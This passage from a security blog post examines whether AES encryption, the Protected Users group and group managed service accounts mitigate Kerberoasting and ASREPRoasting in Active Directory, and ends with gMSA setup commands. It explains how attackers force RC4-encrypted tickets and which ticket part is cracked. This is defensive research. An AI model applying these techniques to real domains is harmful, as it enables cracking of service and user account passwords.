SPN and specify RC4 as the only supported encryption method.&lt;/p&gt;

&lt;p&gt;During the generation process of TGS ticket, the domain controller looks up which account has the requested SPN registered in its servicePrincipalName field. The service ticket is encrypted with the hash of that account, using the highest level encryption key that both the client and service account support. However, this is not always true since accounts might not have AES keys in older domain that had domain functional level upgraded. Because of this, we can still get RC4 encrypted service ticket even though the user account has AES encryption enabled.&lt;/p&gt;

&lt;p&gt;However, it works differently on Windows Server 2019 Domain Controller. It simply returns the service ticket encrypted by the highest level encryption key supported by the service account, no matter what level of encryption key that the client claims to support or what encryption type is in client’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; attribute. You will get AES256 encrypted ticket if the service account enables AES256 encryption even in 2008 Domain Functional Level on DC 2019. As a side note, I tried to compare user attributes applied on service account on DC 2016 and DC 2019 to find out what Microsoft changed, but didn’t find anything interesting. Also, event logs are identical except the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ticket Encryption Type&lt;/code&gt;. I assume Microsoft changed something in kdcsvc.dll. Please let me know if you find anything interesting in that dll (or some other places) as I’m not good at reverse engineering.&lt;/p&gt;

&lt;p&gt;All in all, in a domain with Windows Server 2016 (or before) as the Domain Controller, enabling AES encryption does not mitigate Kerberoasting at all since attackers can simply specify RC4 as the only supported encryption method and ask for RC4 encrypted service tickets. For DC Windows Server 2019, enabling AES encyption does mitigate Kerberoasting by returning the highest level encryption key that the service account supports. However, &lt;a href=&quot;https://github.com/hashcat/hashcat/pull/1955&quot;&gt;cracking AES encrypted ticket is still possible&lt;/a&gt; and it’s just a matter of time and effort (create/choose a reasonable dictionary).&lt;/p&gt;

&lt;h2 id=&quot;protected-user-group&quot;&gt;Protected User Group&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn466518(v%3Dws.11)&quot;&gt;Protected Users&lt;/a&gt; is a security group introduced in windows server 2012 R2 with additional protection against credential theft by not caching credentials in insecure ways. Basically, users added to this group cannot authenticate using NTLM, Digest, or CredSSP, cannot be delegated in Kerberos, cannot use DES or RC4 for Kerberos pre-authentication and the default TGT lifetime and renewal is reduced to 4 hours.&lt;/p&gt;

&lt;p&gt;It is noteworthy that the encryption type for Kerberos protocol will be upgraded to AES for users in this security group. Does it mitigate Kerberoasting (TGS Exchange) if we add service account in the group? Let me first talk a little bit about ASREPRoasting since Microsoft only specify Kerberos pre-authentication (AS Exchange).&lt;/p&gt;

&lt;p&gt;Please read this amazing article about &lt;a href=&quot;https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/&quot;&gt;ASREPRoasting&lt;/a&gt; if you still don’t know what it is. Just a quick reminder, ASREPRoast is an attack against users that do not require pre-authentication. The pre-authentication takes place during the AS exchange and occurs when the client first authenticates to the KDC. Per-auth data (encrypted timestamp) is required to sent to the KDC to ensure that the client who made the request is actually the principal named in the request. There’s also a security consideration for pre-authentication in the [RFC4120] document:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Unless pre-authentication options are required by the policy of a realm, the KDC will not know whether a request for authentication succeeds. An attacker can request a reply with credentials for any principal. These credentials will likely not be of much use to the attacker unless it knows the client’s secret key, but the availability of the response encrypted in the client’s secret key provides the attacker with ciphertext that may be used to mount brute force or dictionary attacks to decrypt the credentials, by guessing the user’s password. For this reason it is strongly encouraged that Kerberos realms require the use of pre-authentication. Even with pre-authentication, attackers may try brute force or dictionary attacks against credentials that are observed by eavesdropping on the network.&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let’s take a look at the AS-REP when user does not require pre-authentication:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/as-rep.png&quot; alt=&quot;rc4as-rep&quot; height=&quot;50%&quot; width=&quot;50%&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are 6 items inside the as-rep message: pvno, msg-type, crealm, ticket and enc-part. Ticket and enc-part are particularly interesting to us. We can also notice that there’s another enc-part inside the ticket. What’s the difference between these two?&lt;/p&gt;

&lt;p&gt;Let’s call the enc-part in the ticket “ENC1” and the second one “ENC2”. For AS exchange, the response (AS-REP) contains a ticket for the client to present to the server (KDC), and a session key that will be shared by the client and the KDC. The session key and additional information are encrypted in the client’s secret key in ENC2. ENC2 also contains the nonce that must be matched with the nonce from the AS-REQ message. On the other hand, ENC1 in the ticket section holds the encrypted encoding of the EncTicketPart sequence (which contains flags, key, cname, authtime, authorization-data and etc). It is encrypted in the key shared by Kerberos and the end server (the server’s secret key, krbtgt key in this case). Now you should know which enc-part is needed for brute forcing user account password. // ENC2 ;)&lt;/p&gt;

&lt;p&gt;By default, if we issue a runas command and login as a user that does not require pre-authentication, AES256 encrypted cipher will be returned as we support this encryption method:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/etypeas-req.png&quot; alt=&quot;rc4as-rep&quot; height=&quot;50%&quot; width=&quot;50%&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/etypeas-rep.png&quot; alt=&quot;rc4as-rep&quot; height=&quot;50%&quot; width=&quot;50%&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, by using &lt;a href=&quot;https://github.com/HarmJ0y/ASREPRoast&quot;&gt;ASREPRoast.ps1&lt;/a&gt;, we can specify RC4 as the only supported encryption type and get a RC4 encrypted cipher to crack user password (See code snippet &lt;a href=&quot;https://github.com/HarmJ0y/ASREPRoast/blob/master/ASREPRoast.ps1#L553&quot;&gt;here&lt;/a&gt;). To my surprise, users in the Protected Users group are not well protected based on what Microsoft said: “The Kerberos protocol will not use the weaker DES or RC4 encryption types in the pre-authentication process”:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/rc4as-rep.png&quot; alt=&quot;rc4as-rep&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In addition, setting “This account supports Kerberos AES 128/256 bit encryption” does not change this behavior.&lt;/p&gt;

&lt;p&gt;Now it’s time to go back to Kerberoasting and take a look at the TGS-REP when user account has SPN set but does not enable AES encryption:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/tgs-rep.png&quot; alt=&quot;tgs-rep&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can also observe two enc-part in the tgs-rep message. Again, let’s call the enc-part in the ticket “ENC1” and the second one “ENC2”. For TGS exchange, the response (TGS-REP) will include a ticket for the requested server or for a ticket granting server of an intermediate KDC to be contacted to obtain the requested ticket. The ciphertext part (ENC2) in the response is encrypted in the sub-session key from the Authenticator, if present, or in the session key from the TGT. It is not encrypted with the client’s secret key. On the other hand, ENC1 in the ticket section holds the encrypted encoding of the EncTicketPart sequence (which contains flags, key, cname, authtime, authorization-data and etc). It is encrypted with the key shared by Kerberos and the end server (the server’s secret key, the key of the user service account in this case). What is needed for Kerberoasting is ENC1 in the TGS-REP.&lt;/p&gt;

&lt;p&gt;Service account in Protected Users group will still have RC4 encrypted service ticket returned:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/rc4kerberoast.png&quot; alt=&quot;rc4kerberoast&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Adding service user account in the Protected Users group does not mitigate Kerberoasting or ASREPRoasting at all! And warning from Microsoft:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/warning.png&quot; alt=&quot;warning&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;group-managed-service-account-gmsa&quot;&gt;Group Managed Service Account (gMSA)&lt;/h2&gt;

&lt;p&gt;A &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview&quot;&gt;Managed Service Account (MSA)&lt;/a&gt; enables administrators to manage rights and permissions for services but with automatic password management. It can be used on a single server. A group Managed Service Account (gMSA) provides the same functions as managed service accounts but can be managed across multiple servers as in a server farm or a load-balancing arrangement. It provides a higher security option for non-interactive applications/services/processes/tasks that run automatically.&lt;/p&gt;

&lt;p&gt;MSA can be used on more than one computer in the domain and MSA authentication information is stored on Domain Controllers. What’s more, it has a system-managed password; it has automatic SPN support; it is tied to a specific computer; it can be assigned rights and permissions; it can not be used for interactive logon and it can not be locked out.&lt;/p&gt;

&lt;p&gt;We can use Powershell AD module to create MSA. It would be better to first create a group to use and manage those service accounts:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAGroup&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAGroup&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SERVER&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Add-KdsRootKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EffectiveTime&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AddHours&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-ADServiceAccount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAccount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-DNSHostName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAccount.testlab.local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-PrincipalsAllowedToRetrieveManagedPassword&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAGroup&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can specify server names or a group in which the servers are members. In this case, servers in gMSAGroup can use the service account and retrieve the password. After the account is created, installation for service account on each server is also needed:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Install-WindowsFeature&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RSAT-AD-POWERSHELL&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADServiceAccount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAccount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-PrincipalsAllowedToRetrieveManagedPassword&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SERVER&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Install-ADServiceAccount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gMSAccount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The sAMAccountName for this service account gMSAccount is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gMSAccount$&lt;/code&gt; and the sAMAccountType is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MACHINE_ACCOUNT&lt;/code&gt;. Just like the computer account, the password is random and complex and it changes every 30 days by default. In addition, the AD attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; also has the value of 0x1C (RC4_HMAC_MD5 | AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96), which makes it a perfect mitigation method against Kerberoasting attack.&lt;/p&gt;

&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h2&gt;

&lt;p&gt;The best mitigation for a Kerberoasting attack is to ensure the password for service account is long and complex with regular rotation. Using Group Managed Service Accounts is an effective way to enforce these constrains.&lt;/p&gt;

&lt;h2 id=&quot;referencesthanks&quot;&gt;References/thanks&lt;/h2&gt;

&lt;p&gt;Thanks to the previously work done by &lt;a href=&quot;https://twitter.com/harmj0y&quot;&gt;@harmj0y&lt;/a&gt;  to help me get clear picture of Kerberoasting/ASREPRoasting attack. I always feel mind-freshing no matter how many times I read his blog posts. Also thanks &lt;a href=&quot;https://twitter.com/_dirkjan&quot;&gt;@_dirkjan&lt;/a&gt; for answering me questions and the BloodHoundGang community. A big thank you to my colleague &lt;a href=&quot;https://twitter.com/_Herberos&quot;&gt;@Constantin&lt;/a&gt; who encouraged me, spent a lot of time to discuss with me and helped me.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/machine-account-password-process/ba-p/396026&quot;&gt;Machine Account Password Process&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/openspecification/2009/09/12/msds-supportedencryptiontypes-episode-1-computer-accounts/&quot;&gt;Computer accounts encryption types from Microsoft&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/&quot;&gt;harmj0y’s msDS-SupportedEncryptionTypes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/&quot;&gt;Rubeus’s tgtdeleg internals&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/&quot;&gt;Unconstrained delegation process explained by dirkjanm&lt;/a&gt;&lt;/p&gt;</content><author><name>dev2null</name></author><summary type="html">Introduction</summary></entry></feed>